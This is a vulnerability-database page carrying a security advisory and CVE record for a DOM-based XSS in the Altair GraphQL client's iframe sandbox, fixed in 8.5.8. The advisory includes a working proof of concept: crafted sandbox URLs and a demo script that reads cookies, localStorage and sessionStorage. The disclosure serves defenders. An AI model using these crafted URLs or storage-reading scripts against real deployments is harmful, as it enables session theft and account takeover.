Vulnerability-Lookup

GHSA-752M-7P75-49GF

Vulnerability from github – Published: 2026-11-10 15:57 – Updated: 2026-11-10 15:57

Summary

Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox

Details

Summary

Altair 8.5.7 accepts plugin configuration directly from the iframe-sandbox query string.

When plugin_sandbox_opts contains type: "scripts" and an attacker-controlled URL in scriptUrls, the sandbox page creates a classic <script src="..."> element and loads the supplied script.

In the intended plugin flow, this page runs inside an <iframe sandbox="allow-scripts"> without allow-same-origin, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.

Exploitation requires the victim to open a crafted URL.

Details

The sandbox reads its configuration directly from window.location.search.

In packages/altair-iframe-sandbox/src/main.ts:

const searchParams = new URLSearchParams(window.location.search);
const sandboxType = searchParams.get('sandbox_type');

switch (sandboxType) {
  case 'plugin':
    handlePluginSandbox();
    break;
}

handlePluginSandbox() then parses plugin_sandbox_opts:

const searchParams = new URLSearchParams(window.location.search);
const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');

const pluginSandboxOpts = pluginSandboxOptsStr
  ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)
  : undefined;

The relevant validation only checks the plugin type:

if (pluginSandboxOpts.type !== 'scripts') {
  throw new Error('Invalid plugin option type provided!');
}

Values from scriptUrls are then passed to injectScript():

if (pluginSandboxOpts.scriptUrls) {
  for (const script of pluginSandboxOpts.scriptUrls) {
    await injectScript(script);
  }
}

The sink in packages/altair-core/src/utils/inject.ts is:

const script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
head.appendChild(script);

The intended parent flow relies on browser iframe sandboxing:

// NOTE: Don't add allow-same-origin to the sandbox attribute!
iframe.sandbox.add('allow-scripts');

Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.

The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.

PoC

The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.

Create a local Altair deployment

mkdir altair-local-test
cd altair-local-test
npm init -y
npm i express@5.2.1 altair-express-middleware@8.5.7 graphql@17.0.2 graphql-http@1.23.0

Create server.js:

const express = require("express");
const { altairExpress } = require("altair-express-middleware");
const { createHandler } = require("graphql-http/lib/use/express");
const { buildSchema } = require("graphql");

const app = express();

const schema = buildSchema(`
  type Query {
    hello: String
  }
`);

const root = {
  hello: () => "world",
};

app.all(
  "/api/graphql",
  createHandler({
    schema,
    rootValue: root,
  })
);

app.use(
  "/graphql",
  altairExpress({
    endpointURL: "/api/graphql",
    initialQuery: "{ hello }",
  })
);

app.listen(4000, () => {
  console.log("Altair UI: http://localhost:4000/graphql/");
  console.log("Sandbox:   http://localhost:4000/graphql/iframe-sandbox/");
});

Run:

node server.js

Host a benign script

Host the following as poc.js on a domain you control:

document.body.textContent = "";

const h1 = document.createElement("h1");
h1.textContent = "Altair iframe-sandbox PoC";

const p = document.createElement("p");
p.textContent = "Script executed in: " + window.location.origin;

document.body.append(h1, p);

Build the crafted URL

Create build-poc-url.js:

const opts = {
  id: "local-poc",
  type: "scripts",
  scriptUrls: ["http://127.0.0.1:8000/poc.js"],
  styleUrls: []
};

const url =
  "http://localhost:4000/graphql/iframe-sandbox/" +
  "?sandbox_type=plugin&plugin_sandbox_opts=" +
  encodeURIComponent(JSON.stringify(opts));

console.log(url);

Run:

node build-poc-url.js

This prints a fully encoded URL similar to:

http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D

Open the crafted URL

http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D

Some deployments also accept:

http://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D

The page creates:

<script type="text/javascript" src="http://127.0.0.1:8000/poc.js"></script>

The script displays:

Script executed in: http://localhost:4000

This confirms that attacker-controlled scriptUrls reaches script.src and executes in the deployment origin when the page is opened outside the intended sandboxed iframe.

Optional same-origin impact demonstration

The following routes are only part of the local test environment and are not Altair functionality.

Add:

app.get("/login-demo", (req, res) => {
  res.setHeader("Set-Cookie", [
    "visible_token=demo-visible-token-123; Path=/; SameSite=Lax",
    "http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax",
  ]);

  res.send(`
    <h1>Demo login</h1>
    <script>
      localStorage.setItem("altair_demo_token", "localStorage-secret-789");
      sessionStorage.setItem("altair_demo_session", "sessionStorage-secret-abc");
    </script>
    <p>Now open the iframe-sandbox PoC URL.</p>
  `);
});

app.get("/api/me-demo", (req, res) => {
  res.json({
    user: "demo-user",
    role: "admin-demo",
    privateData: "same-origin-api-data",
    authenticated: Boolean(req.headers.cookie),
  });
});

Visit /login-demo, then open the crafted sandbox URL in the same origin using:

async function main() {
  const api = await fetch("/api/me-demo").then((res) => res.json());

  document.body.textContent = "";

  const pre = document.createElement("pre");
  pre.textContent = JSON.stringify(
    {
      origin: location.origin,
      cookie: document.cookie,
      localStorage: localStorage.getItem("altair_demo_token"),
      sessionStorage: sessionStorage.getItem("altair_demo_session"),
      sameOriginApi: api,
    },
    null,
    2
  );

  document.body.appendChild(pre);
}

main();

Expected behavior:

visible_token is readable through document.cookie;
the HttpOnly cookie is not readable through document.cookie;
localStorage and sessionStorage are readable;
same-origin requests can include cookies according to their attributes.

This step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin.

Public validation

The same behavior was also validated against the public Altair instance using a benign payload:

https://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F<controlled-test-domain>%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D

The controlled script only displayed:

Script executed in: https://web.altairgraphql.dev

Separately, browser storage for an authenticated Altair Web session was inspected and showed an ALTAIR-API-USER-TOKEN entry in localStorage for https://web.altairgraphql.dev.

Because the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation.

No tokens, storage, user data, or authenticated APIs were accessed during the public validation.

Impact

An unauthenticated remote attacker can craft an iframe-sandbox URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL.

The impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to:

read script-accessible cookies;
access localStorage and sessionStorage;
make authenticated same-origin requests using the victim's session;
read same-origin API responses available to the victim;
interact with application functionality as the authenticated user.
enable phishing or UI spoofing scenarios.

HttpOnly cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes.

For the hosted Altair Web deployment, an authenticated session was observed to store ALTAIR-API-USER-TOKEN in same-origin localStorage. Since JavaScript executing in https://web.altairgraphql.dev can access that origin's browser storage, successful exploitation may expose this authentication-related value.

The exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin.

The public validation against web.altairgraphql.dev only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "altair-static"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.4"
            },
            {
              "fixed": "8.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "altair-express-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.4"
            },
            {
              "fixed": "8.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "altair-koa-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.4"
            },
            {
              "fixed": "8.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "altair-fastify-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.4"
            },
            {
              "fixed": "8.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-110802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:57:27Z",
    "nvd_published_at": "2026-11-05T21:18:35Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAltair `8.5.7` accepts plugin configuration directly from the `iframe-sandbox` query string.\n\nWhen `plugin_sandbox_opts` contains `type: \"scripts\"` and an attacker-controlled URL in `scriptUrls`, the sandbox page creates a classic `\u003cscript src=\"...\"\u003e` element and loads the supplied script.\n\nIn the intended plugin flow, this page runs inside an `\u003ciframe sandbox=\"allow-scripts\"\u003e` without `allow-same-origin`, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.\n\nExploitation requires the victim to open a crafted URL.\n\n### Details\nThe sandbox reads its configuration directly from `window.location.search`.\n\nIn `packages/altair-iframe-sandbox/src/main.ts`:\n\n```\nconst searchParams = new URLSearchParams(window.location.search);\nconst sandboxType = searchParams.get(\u0027sandbox_type\u0027);\n\nswitch (sandboxType) {\n  case \u0027plugin\u0027:\n    handlePluginSandbox();\n    break;\n}\n```\n\n`handlePluginSandbox()` then parses `plugin_sandbox_opts`:\n\n```\nconst searchParams = new URLSearchParams(window.location.search);\nconst pluginSandboxOptsStr = searchParams.get(\u0027plugin_sandbox_opts\u0027);\n\nconst pluginSandboxOpts = pluginSandboxOptsStr\n  ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)\n  : undefined;\n```\n\nThe relevant validation only checks the plugin type:\n\n```\nif (pluginSandboxOpts.type !== \u0027scripts\u0027) {\n  throw new Error(\u0027Invalid plugin option type provided!\u0027);\n}\n```\n\nValues from `scriptUrls` are then passed to `injectScript()`:\n\n```\nif (pluginSandboxOpts.scriptUrls) {\n  for (const script of pluginSandboxOpts.scriptUrls) {\n    await injectScript(script);\n  }\n}\n```\n\nThe sink in `packages/altair-core/src/utils/inject.ts` is:\n\n```\nconst script = document.createElement(\u0027script\u0027);\nscript.type = \u0027text/javascript\u0027;\nscript.src = url;\nhead.appendChild(script);\n```\n\nThe intended parent flow relies on browser iframe sandboxing:\n\n```\n// NOTE: Don\u0027t add allow-same-origin to the sandbox attribute!\niframe.sandbox.add(\u0027allow-scripts\u0027);\n```\n\nDirect navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.\n\nThe official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.\n\n### PoC\n\nThe following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.\n\n1. Create a local Altair deployment\n\n```sh\nmkdir altair-local-test\ncd altair-local-test\nnpm init -y\nnpm i express@5.2.1 altair-express-middleware@8.5.7 graphql@17.0.2 graphql-http@1.23.0\n```\n\nCreate `server.js`:\n\n```js\nconst express = require(\"express\");\nconst { altairExpress } = require(\"altair-express-middleware\");\nconst { createHandler } = require(\"graphql-http/lib/use/express\");\nconst { buildSchema } = require(\"graphql\");\n\nconst app = express();\n\nconst schema = buildSchema(`\n  type Query {\n    hello: String\n  }\n`);\n\nconst root = {\n  hello: () =\u003e \"world\",\n};\n\napp.all(\n  \"/api/graphql\",\n  createHandler({\n    schema,\n    rootValue: root,\n  })\n);\n\napp.use(\n  \"/graphql\",\n  altairExpress({\n    endpointURL: \"/api/graphql\",\n    initialQuery: \"{ hello }\",\n  })\n);\n\napp.listen(4000, () =\u003e {\n  console.log(\"Altair UI: http://localhost:4000/graphql/\");\n  console.log(\"Sandbox:   http://localhost:4000/graphql/iframe-sandbox/\");\n});\n```\n\nRun:\n\n```sh\nnode server.js\n```\n\n2. Host a benign script\n\nHost the following as `poc.js` on a domain you control:\n\n```js\ndocument.body.textContent = \"\";\n\nconst h1 = document.createElement(\"h1\");\nh1.textContent = \"Altair iframe-sandbox PoC\";\n\nconst p = document.createElement(\"p\");\np.textContent = \"Script executed in: \" + window.location.origin;\n\ndocument.body.append(h1, p);\n```\n\n3. Build the crafted URL\n\nCreate `build-poc-url.js`:\n\n```js\nconst opts = {\n  id: \"local-poc\",\n  type: \"scripts\",\n  scriptUrls: [\"http://127.0.0.1:8000/poc.js\"],\n  styleUrls: []\n};\n\nconst url =\n  \"http://localhost:4000/graphql/iframe-sandbox/\" +\n  \"?sandbox_type=plugin\u0026plugin_sandbox_opts=\" +\n  encodeURIComponent(JSON.stringify(opts));\n\nconsole.log(url);\n```\n\nRun:\n\n```js\nnode build-poc-url.js\n```\n\nThis prints a fully encoded URL similar to:\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin\u0026plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\n4. Open the crafted URL\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin\u0026plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nSome deployments also accept:\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin\u0026plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nThe page creates:\n\n```html\n\u003cscript type=\"text/javascript\" src=\"http://127.0.0.1:8000/poc.js\"\u003e\u003c/script\u003e\n```\n\nThe script displays:\n\n```text\nScript executed in: http://localhost:4000\n```\n\nThis confirms that attacker-controlled `scriptUrls` reaches `script.src` and executes in the deployment origin when the page is opened outside the intended sandboxed iframe.\n\n5. Optional same-origin impact demonstration\n\nThe following routes are only part of the local test environment and are not Altair functionality.\n\nAdd:\n\n```js\napp.get(\"/login-demo\", (req, res) =\u003e {\n  res.setHeader(\"Set-Cookie\", [\n    \"visible_token=demo-visible-token-123; Path=/; SameSite=Lax\",\n    \"http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax\",\n  ]);\n\n  res.send(`\n    \u003ch1\u003eDemo login\u003c/h1\u003e\n    \u003cscript\u003e\n      localStorage.setItem(\"altair_demo_token\", \"localStorage-secret-789\");\n      sessionStorage.setItem(\"altair_demo_session\", \"sessionStorage-secret-abc\");\n    \u003c/script\u003e\n    \u003cp\u003eNow open the iframe-sandbox PoC URL.\u003c/p\u003e\n  `);\n});\n\napp.get(\"/api/me-demo\", (req, res) =\u003e {\n  res.json({\n    user: \"demo-user\",\n    role: \"admin-demo\",\n    privateData: \"same-origin-api-data\",\n    authenticated: Boolean(req.headers.cookie),\n  });\n});\n```\n\nVisit `/login-demo`, then open the crafted sandbox URL in the same origin using:\n\n```js\nasync function main() {\n  const api = await fetch(\"/api/me-demo\").then((res) =\u003e res.json());\n\n  document.body.textContent = \"\";\n\n  const pre = document.createElement(\"pre\");\n  pre.textContent = JSON.stringify(\n    {\n      origin: location.origin,\n      cookie: document.cookie,\n      localStorage: localStorage.getItem(\"altair_demo_token\"),\n      sessionStorage: sessionStorage.getItem(\"altair_demo_session\"),\n      sameOriginApi: api,\n    },\n    null,\n    2\n  );\n\n  document.body.appendChild(pre);\n}\n\nmain();\n```\n\nExpected behavior:\n\n- `visible_token` is readable through `document.cookie`;\n- the `HttpOnly` cookie is not readable through `document.cookie`;\n- `localStorage` and `sessionStorage` are readable;\n- same-origin requests can include cookies according to their attributes.\n\nThis step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin.\n\n6. Public validation\n\nThe same behavior was also validated against the public Altair instance using a benign payload:\n\n```text\nhttps://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin\u0026plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F\u003ccontrolled-test-domain\u003e%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nThe controlled script only displayed:\n\n```text\nScript executed in: https://web.altairgraphql.dev\n```\n\nSeparately, browser storage for an authenticated Altair Web session was inspected and showed an `ALTAIR-API-USER-TOKEN` entry in `localStorage` for `https://web.altairgraphql.dev`.\n\nBecause the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation.\n\nNo tokens, storage, user data, or authenticated APIs were accessed during the public validation.\n\n### Impact\n\nAn unauthenticated remote attacker can craft an `iframe-sandbox` URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL.\n\nThe impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to:\n\n- read script-accessible cookies;\n- access `localStorage` and `sessionStorage`;\n- make authenticated same-origin requests using the victim\u0027s session;\n- read same-origin API responses available to the victim;\n- interact with application functionality as the authenticated user.\n- enable phishing or UI spoofing scenarios.\n\n`HttpOnly` cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes.\n\nFor the hosted Altair Web deployment, an authenticated session was observed to store `ALTAIR-API-USER-TOKEN` in same-origin `localStorage`. Since JavaScript executing in `https://web.altairgraphql.dev` can access that origin\u0027s browser storage, successful exploitation may expose this authentication-related value.\n\nThe exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin.\n\nThe public validation against `web.altairgraphql.dev` only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.",
  "id": "GHSA-752m-7p75-49gf",
  "modified": "2026-11-10T15:57:27Z",
  "published": "2026-11-10T15:57:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/altair-graphql/altair/security/advisories/GHSA-752m-7p75-49gf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/altair-graphql/altair/commit/53a19183ce11ca147bb990c355e14ecb1dd7cd3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/altair-graphql/altair/commit/bdf422bdaaaf3186170ba7f22e22c259072133d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/altair-graphql/altair"
    },
    {
      "type": "WEB",
      "url": "https://github.com/altair-graphql/altair/releases/tag/v8.5.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox"
}

CVE-2026-110802 (GCVE-0-2026-110802)

Vulnerability from cvelistv5 – Published: 2026-11-05 20:41 – Updated: 2026-11-10 04:18

Title

Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox

Summary

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-11-10 04:16 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-829 - Inclusion of Functionality from Untrusted Control Sphere

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7814 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/altair-graphql/altair/security…	x_refsource_CONFIRM
https://github.com/altair-graphql/altair/commit/5…	x_refsource_MISC
https://github.com/altair-graphql/altair/commit/b…	x_refsource_MISC
https://github.com/altair-graphql/altair/releases…	x_refsource_MISC

Impacted products

5 products

Vendor	Product	Version
altair-graphql	altair	Affected: >= 7.2.4, < 8.5.8
altair-graphql	altair-express-middleware	Affected: >= 7.2.4, < 8.5.8
altair-graphql	altair-fastify-plugin	Affected: >= 7.2.4, < 8.5.8
altair-graphql	altair-koa-middleware	Affected: >= 7.2.4, < 8.5.8
altair-graphql	altair-static	Affected: >= 7.2.4, < 8.5.8

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-110802",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-11-10T04:16:25.942801Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-11-10T04:18:28.735Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/altair-graphql/altair/security/advisories/GHSA-752m-7p75-49gf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "altair",
          "vendor": "altair-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.2.4, \u003c 8.5.8"
            }
          ]
        },
        {
          "product": "altair-express-middleware",
          "vendor": "altair-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.2.4, \u003c 8.5.8"
            }
          ]
        },
        {
          "product": "altair-fastify-plugin",
          "vendor": "altair-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.2.4, \u003c 8.5.8"
            }
          ]
        },
        {
          "product": "altair-koa-middleware",
          "vendor": "altair-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.2.4, \u003c 8.5.8"
            }
          ]
        },
        {
          "product": "altair-static",
          "vendor": "altair-graphql",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.2.4, \u003c 8.5.8"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment\u0027s authentication and cookie controls. This issue is fixed in version 8.5.8."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-829",
              "description": "CWE-829: Inclusion of Functionality from Untrusted Control Sphere",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-05T20:41:52.499Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/altair-graphql/altair/security/advisories/GHSA-752m-7p75-49gf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/altair-graphql/altair/security/advisories/GHSA-752m-7p75-49gf"
        },
        {
          "name": "https://github.com/altair-graphql/altair/commit/53a19183ce11ca147bb990c355e14ecb1dd7cd3e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/altair-graphql/altair/commit/53a19183ce11ca147bb990c355e14ecb1dd7cd3e"
        },
        {
          "name": "https://github.com/altair-graphql/altair/commit/bdf422bdaaaf3186170ba7f22e22c259072133d9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/altair-graphql/altair/commit/bdf422bdaaaf3186170ba7f22e22c259072133d9"
        },
        {
          "name": "https://github.com/altair-graphql/altair/releases/tag/v8.5.8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/altair-graphql/altair/releases/tag/v8.5.8"
        }
      ],
      "source": {
        "advisory": "GHSA-752m-7p75-49gf",
        "discovery": "UNKNOWN"
      },
      "title": "Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-110802",
    "datePublished": "2026-11-05T20:41:52.499Z",
    "dateReserved": "2026-10-14T17:40:14.920Z",
    "dateUpdated": "2026-11-10T04:18:28.735Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-752M-7P75-49GF

Summary

Details

PoC

Impact

CVE-2026-110802 (GCVE-0-2026-110802)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour